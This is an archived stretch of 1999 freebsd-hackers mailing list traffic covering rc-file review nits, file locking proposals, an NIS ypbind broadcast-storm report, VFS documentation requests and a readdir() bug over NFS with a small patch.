/etc/rc.local echo '.' fi # Raise kernel security level. This should be done only after `fsck' has # repaired local file systems if you want the securelevel to be greater than 1. -if [ "${kern_securelevel_enable}" = "YES" -a "${kern_securelevel}" -ge 0 ]; -then - echo 'Raising kernel security level' - sysctl -w kern.securelevel=${kern_securelevel} -fi +# +case ${kern_securelevel_enable} in +[Yy][Ee][Ss] ) + if [ "${kern_securelevel}" -ge 0 ]; then + echo 'Raising kernel security level' + sysctl -w kern.securelevel=${kern_securelevel} + fi + ;; +esac date exit 0 --------------0430664E2F58BAADC4081B90-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 14:32:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mpp.pro-ns.net (pppdsle70.mpls.uswest.net [216.160.23.70]) by hub.freebsd.org (Postfix) with ESMTP id 09A1F14F8D; Sat, 28 Aug 1999 14:32:25 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id QAA00692; Sat, 28 Aug 1999 16:30:13 -0500 (CDT) (envelope-from mpp) From: Mike Pritchard Message-Id: <199908282130.QAA00692@mpp.pro-ns.net> Subject: Re: Please review: rc file changes In-Reply-To: <19990828103953.A34528@holly.calldei.com> from Chris Costello at "Aug 28, 1999 10:39:53 am" To: chris@calldei.com Date: Sat, 28 Aug 1999 16:30:13 -0500 (CDT) Cc: hoek@FreeBSD.org, mpp@FreeBSD.org (Mike Pritchard), freebsd-hackers@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Sat, Aug 28, 1999, Tim Vanderhoek wrote: > > A sentence ends > > .Ar here . > > But this new one has a single space preceeding it. > > Does adding a space after the `.' at the end of your line > help? Please, no trailing white space :-)! Seriously, I think that all of the current mdoc macros that allow puncuation characters to be specified screw this up and only add one space. Mdoc should be fixed to add two spaces in this case, and then if the man page author really does only want one space, they can do it with the existing Ns macro (no space). -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 15:43:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id E5ECA14E82 for ; Sat, 28 Aug 1999 15:43:41 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from lithium.scientia.demon.co.uk ([192.168.0.3] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.032 #1) id 11KqHR-0008fF-00; Sat, 28 Aug 1999 22:44:57 +0100 Received: (from ben) by lithium.scientia.demon.co.uk (Exim 3.032 #1) id 11KqHO-0007oL-00; Sat, 28 Aug 1999 22:44:54 +0100 Date: Sat, 28 Aug 1999 22:44:53 +0100 From: Ben Smithurst To: Doug Cc: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes Message-ID: <19990828224453.A29985@lithium.scientia.demon.co.uk> References: <199908271705.LAA24405@mt.sri.com> <19990828111254.A79158@catkin.nothing-going-on.org> <37C83C2E.904BC997@gorean.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <37C83C2E.904BC997@gorean.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug wrote: > Okey dokey, I can take a hint. :) Can you take another one, regarding the unnecessary spaces after the values in your "case"s? i.e., that they should be taken out and shot? :-) -- Ben Smithurst | PGP: 0x99392F7D ben@scientia.demon.co.uk | key available from keyservers and | ben+pgp@scientia.demon.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 16:46:42 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id 25D9514F3E for ; Sat, 28 Aug 1999 16:46:39 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id BAA25090 for freebsd-hackers@FreeBSD.ORG; Sun, 29 Aug 1999 01:45:34 +0200 (CEST) (envelope-from olli) Date: Sun, 29 Aug 1999 01:45:34 +0200 (CEST) From: Oliver Fromme Message-Id: <199908282345.BAA25090@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes Organization: Administration Heim 3 Reply-To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug wrote in list.freebsd-hackers: > 2. value ) instead of value) for case statements Maybe I missed it, but what exactly is the reason for that change? I do not like it, it makes the case lines look strange. And I think there was a policy that style should not be changed if there's no good reason. Apart from that -- Good work! :) Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 16:46:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 287B51514B for ; Sat, 28 Aug 1999 16:46:52 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id QAA88058; Sat, 28 Aug 1999 16:46:08 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C874C3.20AA6996@gorean.org> Date: Sat, 28 Aug 1999 16:46:11 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: Ben Smithurst Cc: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes References: <199908271705.LAA24405@mt.sri.com> <19990828111254.A79158@catkin.nothing-going-on.org> <37C83C2E.904BC997@gorean.org> <19990828224453.A29985@lithium.scientia.demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ben Smithurst wrote: > > Doug wrote: > > > Okey dokey, I can take a hint. :) > > Can you take another one, regarding the unnecessary spaces after the > values in your "case"s? i.e., that they should be taken out and shot? > :-) *sigh* I am constantly flabbergasted by what people think of as "important" around here. However, yes, I really can take the hint, and having seen no words of support on this I will revert the change. Hoping I'm running out of nits, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 17:19: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 59E1714DED for ; Sat, 28 Aug 1999 17:18:49 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id RAA88175 for ; Sat, 28 Aug 1999 17:15:58 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C87BC1.DA0132DE@gorean.org> Date: Sat, 28 Aug 1999 17:16:01 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: /usr/src/etc files without $FreeBSD tags Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While we're at it: 24$ grep -RL '\$FreeBSD' /usr/src/etc/* /usr/src/etc/amd.map /usr/src/etc/fbtab /usr/src/etc/isdn/isdnd.rates.UK.BT /usr/src/etc/kerberosIV/krb.conf /usr/src/etc/kerberosIV/krb.realms /usr/src/etc/locale.alias /usr/src/etc/master.passwd /usr/src/etc/minfree /usr/src/etc/motd /usr/src/etc/namedb/named.root /usr/src/etc/rc.diskless1 /usr/src/etc/rc.diskless2 /usr/src/etc/sendmail/freebsd.mc /usr/src/etc/termcap.small Having the tags in the files helps mergemaster, if nothing else. :) Thanks, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 17:25:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 54AF414DED; Sat, 28 Aug 1999 17:25:21 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id UAA21023; Sat, 28 Aug 1999 20:24:27 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Sat, 28 Aug 1999 20:24:27 -0400 (EDT) From: Chuck Robey To: Thomas David Rivers Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908271229.IAA35280@lakes.dignus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Thomas David Rivers wrote: > First - let me point out that FreeBSD already runs on the Alpha, > so there's some 64-bit experience. Very good point, which ought to be brought out more than once, it's good for the rep. > And - let me add - Intel has been down this path before > (the i860) - and didn't see the success it wanted (although > the i860 is popping up in some interesting places now...) I am going to say something controversial here, but I'm interested in the reply.... When I was in the computer architecture classes, I did a lot of modeling of various kinds of things that could be done to speed up a processor (the least of which is cache memory, but it stands as a good "for instance" thing here). One thing that impressed me, when doing modelling of multiple different things like speculative execution and the IA64's rumored ability to speculatively execute several different paths of loop, was the extreme difficulty to adequately model how all the different parts work (and mis-work) together. You end up having to really inspect many megabytes of output in detail, just to figure out if one feature worked right in one particular scenario, and I was only doing a relatively basic piece of modelling. Trying to model the IA64 would have been a Manhattan Project sized task. Honestly, I am wondering about Intel and HP's ability to really produce a reliable chip that had as many difficult-to-model features as the IA64 is supposed to have. I think that's the real reason that it's not actually being sampled. Your point on the 860 is very correct, but if they *could* have brought the IA64 out today with the features that they have been promising (at the speed they promised) it would have made the PowerPC and the Alpha look ill, and I *do* think it would have been quite a masterstroke by Intel, merely because the monstrous resources needed for a competitor to do the same would have guaranteed Intel at least a very good running start on the market. This makes me believe, more than ever, that everything that Intel has put out on the IA64 (and, at least in academic circles, that's a whole lot) has been vaporware and FUD. I can't respect them for that. > > I suppose what this "rant" is all about is that I'm not > convinced Merced is the "chip of the future" that we all > need to be worried about. I'm taking a "wait-and-see" > attitude. [Also, since Microsoft has been working > closely with Intel regarding Merced for several years > now, and has yet to do anything `serious' - I believe > they are taking the same "wait-and-see" approach. Likely > while telling Intel otherwise.] > > That doesn't mean I think we shouldn't have a FreeBSD port; > I would considering buying a Merced box if there was one > (although, I don't have an Alpha box, so maybe it would > never get past "consider".) > > - Dave Rivers - > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > ---------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | picnic.mat.net: FreeBSD/i386 (301) 220-2114 | jaunt.mat.net : FreeBSD/Alpha ---------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 17:32: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id E79C114DED for ; Sat, 28 Aug 1999 17:31:59 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id KAA21819; Sun, 29 Aug 1999 10:01:51 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id KAA64978; Sun, 29 Aug 1999 10:01:49 +0930 (CST) Date: Sun, 29 Aug 1999 10:01:49 +0930 From: Greg Lehey To: Peter Dufault Cc: hackers@FreeBSD.org, commit@freebie.lemis.com Subject: Re: locking revisited Message-ID: <19990829100149.M13904@freebie.lemis.com> References: <19990828125241.G13904@freebie.lemis.com> <199908281916.PAA09116@hda.hda.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908281916.PAA09116@hda.hda.com>; from Peter Dufault on Sat, Aug 28, 1999 at 03:16:28PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Saturday, 28 August 1999 at 15:16:28 -0400, Peter Dufault wrote: >> As a result, I argue that we should implement locking. The questions >> are: how? I'd suggest three methods which can be individually enabled >> via sysctls: >> >> - System V style. We need this for compatibility with System V. The >> choice of mandatory or advisory locking depends on the file >> permissions. >> >> - Only mandatory locking. fcntl works as before, but locks are >> always mandatory, not advisory. I'm sure that this won't be >> popular, at least initially, but if you don't like it, you don't >> have to use it.y >> >> - Via separate calls to fcntl. fcntl currently has the following >> command values: >> >> #define F_DUPFD 0 /* duplicate file descriptor */ >> #define F_GETFD 1 /* get file descriptor flags */ >> #define F_SETFD 2 /* set file descriptor flags */ >> #define F_GETFL 3 /* get file status flags */ >> #define F_SETFL 4 /* set file status flags */ >> #define F_GETOWN 5 /* get SIGIO/SIGURG proc/pgrp */ >> #define F_SETOWN 6 /* set SIGIO/SIGURG proc/pgrp */ >> #define F_GETLK 7 /* get record locking information */ >> #define F_SETLK 8 /* set record locking information */ >> #define F_SETLKW 9 /* F_SETLK; wait if blocked */ >> >> We could add a F_SETMANDLOCK or some such. >> >> Any thoughts? > > (I'm following up only on -hackers because I personally hate discussions > in -commit.) I'm copying -commit because that's where we're supposed to discuss these things. I made the mistake of excluding them once before, and the results were painful. > 1. Isn't vinum a device? Yes. > Isn't this file-level locking irrelevant? To Vinum, yes. > Shouldn't all locking for maintenance be done at the device level? Maybe. Depends on what kind of maintenance you're doing. What happens if you want to dd one plex to another? You've missed another message of mine, where I said that this issue has no relevance to Vinum. > 2. I'll bet there are some standards, at least in development. Have you > done a few searches? Sure. The important one was in the attachment: System V has a standard. > I have other opinions, some that I hold strongly, but since they > have to do with lack of definition of boundary conditions then I > won't bring them up until (2.) is answered. Go for it. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 19:29:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from magellan.tip.CSIRO.AU (magellan.tip.CSIRO.AU [130.155.200.1]) by hub.freebsd.org (Postfix) with ESMTP id 255E914D71 for ; Sat, 28 Aug 1999 19:29:17 -0700 (PDT) (envelope-from amy@magellan.tip.CSIRO.AU) Received: from magellan.tip.CSIRO.AU (localhost [127.0.0.1]) by magellan.tip.CSIRO.AU (8.8.8/8.8.7) with ESMTP id MAA14802; Sun, 29 Aug 1999 12:27:14 +1000 (EST) (envelope-from amy@magellan.tip.CSIRO.AU) Message-Id: <199908290227.MAA14802@magellan.tip.CSIRO.AU> To: hackers@FreeBSD.ORG Cc: amy@magellan.tip.CSIRO.AU Subject: NIS client (ypbind) "feature" on FreeBSD 3.2-STABLE MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <14797.935893633.1@magellan.tip.CSIRO.AU> Date: Sun, 29 Aug 1999 12:27:13 +1000 From: "Shaun Amy, CSIRO TIP/ATNF" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, This is long but I wanted to provide as much information as possible. There appears to be an interesting "feature" with NIS client support under FreeBSD 3.2-STABLE (as at Tuesday 24 August). This was a new installation onto a Dell Precision 410-MT (single 400MHz CPU, single SCSI disk, on-board fast ethernet) into an existing environment (the first FreeBSD host in this environment which has mainly Suns, a few Alpha and SGIs and an increasing number of Linux boxes). The machine is part of a group that does telecommunications and networking research - they already have Suns and Linux boxes. Essentially the install went smoothly direct from the 3.2 CDs, and subsequent post-installation configuration involved making a custom kernel, setting up NIS client support, configuring AMD, installing some key packages (e.g. "ssh") and installing and configuring an Efficient ATM card (using HARP included in the release). No real problems with any of this. NIS client support uses "ypbind" in broadcast mode - the NIS master server is a SunOS 4.1.3_U1B machine and three other NIS slave servers are all running Solaris 2.6. This environment has served the site well for a number of years and is VERY stable. We make extensive use of various NIS maps including the automounter for home directories. What appears to happen with the FreeBSD host is that after a reboot, it correctly binds to one of the NIS servers BUT whenever, for whatever reason, it is forced to re-bind it ends up never re-binding, creates something like 600kbit/s of broadcast traffic across our LAN and forces the "rpcbind/portmap" and "ypserv" process on the NIS servers to become CPU bound - it appears to also cause problems for some other broadcast-type applications such as DHCP. Interestingly, the broadcast traffic slowly decreases but probably only by say 100kbit/s in a period of more that 12 hours. Some info: FreeBSD host: ~~~~~~~~~~~~ % ypwhich ypwhich: can't yp_bind: reason: Domain not bound USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 147 44.7 1.5 1288 924 ?? Rs Tue08PM 394:11.05 ypbind root 132 1.6 0.9 820 576 ?? Ss Tue08PM 23:43.76 syslogd daemon 143 1.1 1.0 836 600 ?? Ss Tue08PM 22:50.86 /usr/sbin/portmap NIS master (SunOS 4.1.3_U1B): ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND root 60 34.0 0.3 68 236 ? R 20:27 280:09 portmap root 65 33.6 0.4 172 388 ? R 20:27 280:06 ypserv NIS slave (Solaris 2.6): ~~~~~~~~~~~~~~~~~~~~~~~ USER PID %CPU %MEM SZ RSS TT S START TIME COMMAND root 221 17.6 0.3 2264 1216 ? R Jul 29 386:43 rpcbind root 234 4.4 0.3 2368 1400 ? S Jul 29 474:11 ypserv In addition, from "syslog" on the FreeBSD host (the broadcast problem started at around 16:41 so the earlier messages may not be significant): Aug 26 05:19:24 rational xntpd[139]: time reset (step) 0.370413 s Aug 26 14:25:03 rational portmap[3024]: connect from 130.155.194.226 to callit(ypserv): request not forwarded Aug 26 14:25:03 rational portmap[3025]: connect from 130.155.194.226 to callit(ypserv): request not forwarded ... Aug 26 16:41:15 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp .csiro.au" not responding Aug 26 16:41:21 rational last message repeated 2684 times Aug 26 16:41:21 rational /kernel: xl0: command never completed! Aug 26 16:41:21 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp.csiro.au" not responding Aug 26 16:41:21 rational last message repeated 68 times Aug 26 16:41:21 rational /kernel: xl0: command never completed! Aug 26 16:41:21 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp.csiro.au" not responding Aug 26 16:41:21 rational /kernel: xl0: command never completed! Aug 26 16:41:21 rational last message repeated 3 times Aug 26 16:41:21 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp.csiro.au" not responding Aug 26 16:41:52 rational last message repeated 13943 times I thought it was interesting to see the messages from the "xl0" driver - this machine has an on-board 3Com ethernet (as do most newish Dell's) and is connected to a 10mbit/s hub: xl0: <3Com 3c905B-TX Fast Etherlink XL> rev 0x00 int a irq 14 on pci0.17.0 xl0: Ethernet address: 00:c0:4f:68:e1:6a xl0: autoneg complete, link status good (half-duplex, 10Mbps) The problem is repeatable and as a test I tried to force the host to bind to particular servers using the "-S" option. It works after a reboot but no subsequently with similar problems on the NIS servers. I didn't see the "xl0" messages in this case though: Aug 28 13:08:48 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp.csiro.au" not responding Aug 28 13:09:19 rational last message repeated 14143 times Aug 28 13:11:20 rational last message repeated 55641 times Aug 28 13:21:21 rational last message repeated 261703 times Aug 28 13:31:22 rational last message repeated 253355 times Aug 28 13:34:19 rational last message repeated 75019 times Aug 28 13:34:20 rational login: ROOT LOGIN (root) ON ttyv0 Aug 28 13:34:20 rational ypbind[147]: NIS server [130.155.194.25] for domain "rp.csiro.au" not responding Aug 28 13:34:25 rational last message repeated 2403 times So I think this is a "real" problem and for some time I have been pushing the use of FreeBSD because of its stability and heritage as well as the excellent networking features but there is no way I can push the case with this sort of problem - I am sure you know what I mean :-) My only other experience with NIS on FreeBSD is on my home network (two machines, NIS master on 2.2.8-STABLE and NIS client on 3.2-STABLE (SMP) where it works fine). I have a quick search of the mailing list archives but I didn't see anything similar to this. If I can provide any further information just let me know. Many thanks, Shaun. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 20: 9:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 55C4914F7A; Sat, 28 Aug 1999 20:09:21 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.8.8/8.8.8) with ESMTP id NAA17700; Sat, 28 Aug 1999 13:25:34 -0700 (PDT) (envelope-from bright@wintelcom.net) Date: Sat, 28 Aug 1999 20:25:34 +0000 (GMT) From: Alfred Perlstein To: Poul-Henning Kamp Cc: Erez Zadok , Matthew Dillon , hackers@FreeBSD.ORG, fs@FreeBSD.ORG, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-Reply-To: <6793.935785947@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Poul-Henning Kamp wrote: > > Uhm, have any of you actually ever looked at src/sys/kern/vnode_if.src ? I can't really tell if you are commenting on the diffs I provided or if you are commmenting on the comments I have recieved, or both. Either way, could you elaborate a bit? I was hoping for your input on this issue. thank you, -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] > > Poul-Henning > > In message <199908272018.QAA22373@shekel.mcl.cs.columbia.edu>, Erez Zadok write > s: > >In message <199908261727.KAA23308@apollo.backplane.com>, Matthew Dillon writes: > >[...] > >> I would ask two things though: > >> > >> * First, please add comprehensive /* */ comments in front of each > >> vfsnop_*() procedure explaining what it does, why it returns what > >> it returns, locking requirements (if any) on entry, and side effects > >> on return. This is just for readability. > >> > >> Do the same for all the procedures you are adding, in fact. > > > >Moreover, I would strongly recommend xplicitly documenting the following: > > > >- which function args are in-args and which are out-args? > > > >- does the function takes any allocated memory that it is expected to free? > > > >- is the function expected to allocate any memory objects that have to be > > freed elsewhere? > > > >- does the function increase or decrease any reference counts of any objects? > > Is it expected to? > > > >These and other requirements are essentially the "interface" between the VFS > >and lower-level file systems. Figuring out this stuff on every OS and OS > >revision (esp. when the VFS changes so often---linux) was the longest most > >frustrating task I faced when writing my Wrapfs stackable f/s module for > >solaris, freebsd, and linux. I wish documentation had been in place. > > > >> * I think you can safely commit any elements that are not used by > >> existing builds since they are not likely to impact existing > >> builds operationally. > >> > >> Then see what you have left over. If it is not significant, commit > >> that to. If it is significant, do more comprehensive testing on > >> what you have left over (i.e. that impacts existing builds) and > >> ask for another review after testing, before committing it. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 20:36:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from backup.af.speednet.com.au (af.speednet.com.au [202.135.206.244]) by hub.freebsd.org (Postfix) with ESMTP id 0358B152B2 for ; Sat, 28 Aug 1999 20:35:48 -0700 (PDT) (envelope-from andyf@speednet.com.au) Received: from localhost (localhost [127.0.0.1]) by backup.af.speednet.com.au (8.9.3/8.9.3) with ESMTP id NAA36550; Sun, 29 Aug 1999 13:31:21 +1000 (EST) (envelope-from andyf@speednet.com.au) Date: Sun, 29 Aug 1999 13:31:21 +1000 (EST) From: Andy Farkas X-Sender: andyf@localhost To: Doug Cc: Ben Smithurst , freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <37C874C3.20AA6996@gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 28 Aug 1999, Doug wrote: > Ben Smithurst wrote: > > > > Doug wrote: > > > > > Okey dokey, I can take a hint. :) > > > > Can you take another one, regarding the unnecessary spaces after the > > values in your "case"s? i.e., that they should be taken out and shot? > > :-) > > *sigh* I am constantly flabbergasted by what people think of as > "important" around here. However, yes, I really can take the hint, and > having seen no words of support on this I will revert the change. > > Hoping I'm running out of nits, Heh. This thread is as good as the 'Jordan got bitten by Radius' one :) > > Doug > -- :{ andyf@speednet.com.au Andy Farkas System Administrator Speednet Communications http://www.speednet.com.au/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 20:42:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.uni-bielefeld.de (mail.uni-bielefeld.de [129.70.4.90]) by hub.freebsd.org (Postfix) with ESMTP id 31DED14CC1 for ; Sat, 28 Aug 1999 20:42:14 -0700 (PDT) (envelope-from bfischer@Techfak.uni-bielefeld.de) Received: from frolic.no-support.loc (ppp36-233.hrz.uni-bielefeld.de) by mail.uni-bielefeld.de (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5) with ESMTP id <0FH700996JIOIY@mail.uni-bielefeld.de> for freebsd-hackers@FreeBSD.ORG; Sun, 29 Aug 1999 05:40:05 +0200 (MET DST) Received: (from bjoern@localhost) by frolic.no-support.loc (8.9.3/8.9.3) id FAA04988; Sun, 29 Aug 1999 05:40:29 +0200 (CEST envelope-from bjoern) Date: Sun, 29 Aug 1999 05:40:29 +0200 From: Bjoern Fischer Subject: readdir() broken? To: freebsd-hackers@FreeBSD.ORG Cc: Doug Rabson , Matthew Dillon Message-id: <19990829054029.B308@frolic.no-support.loc> MIME-version: 1.0 X-Mailer: Mutt 0.95.7i Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Doug, hello Matthew, hello list members, there are some hints that readdir() in -STABLE has problems when used on NFSv3 (UDP; and TCP probably, too) mounted file systems. The reason may be the recovery code for stale READDIR cookies. The problem occurs when using GNU rm (fileutils-4.0) on our systems (NFS servers and clients -STABLE) for deleting large directory trees (e.g. egcs source tree). rm failed to delete some directories: rm: cannot remove directory `egcs-1.1.2/gcc': Directory not empty I've roughly looked through the sources and found a workaround for a readdir() bug on SunOS 4.1.4. The SunOS readdir() sometimes returned NULL although there were still entries to be read when a directory with more than 254 entries was previously modified. The workaround rewound the directory stream and read it again. Interestingly this workaround also works for FreeBSD although our readdir() passes the autoconfig tests that trigger the workaround without a hinch. Attached is a patch for GNU fileutils-4.0 that will make rm yield when the workaround code catches a bad readdir(). Bj=F6rn Fischer PS: Please don't ask me why I'm using GNU fileutils. --- remove.c 1999/08/29 02:57:38 1.1 +++ remove.c 1999/08/29 03:07:42 @@ -526,6 +526,8 @@ { /* empty */ } + if (dp !=3D NULL) + fputs("*** readdir() returned NULL and shouldn't.\n", stder= r); } #endif --=20 -----BEGIN GEEK CODE BLOCK----- GCS d--(+) s++: a- C+++(-) UB++++OSI++++$ P+++(-) L+++(--) !E W- N+ o>+ K- !w !O !M !V PS++ PE- PGP++ t+++ !5 X++ tv- b+++ D++ G e+ h-- y+=20 ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message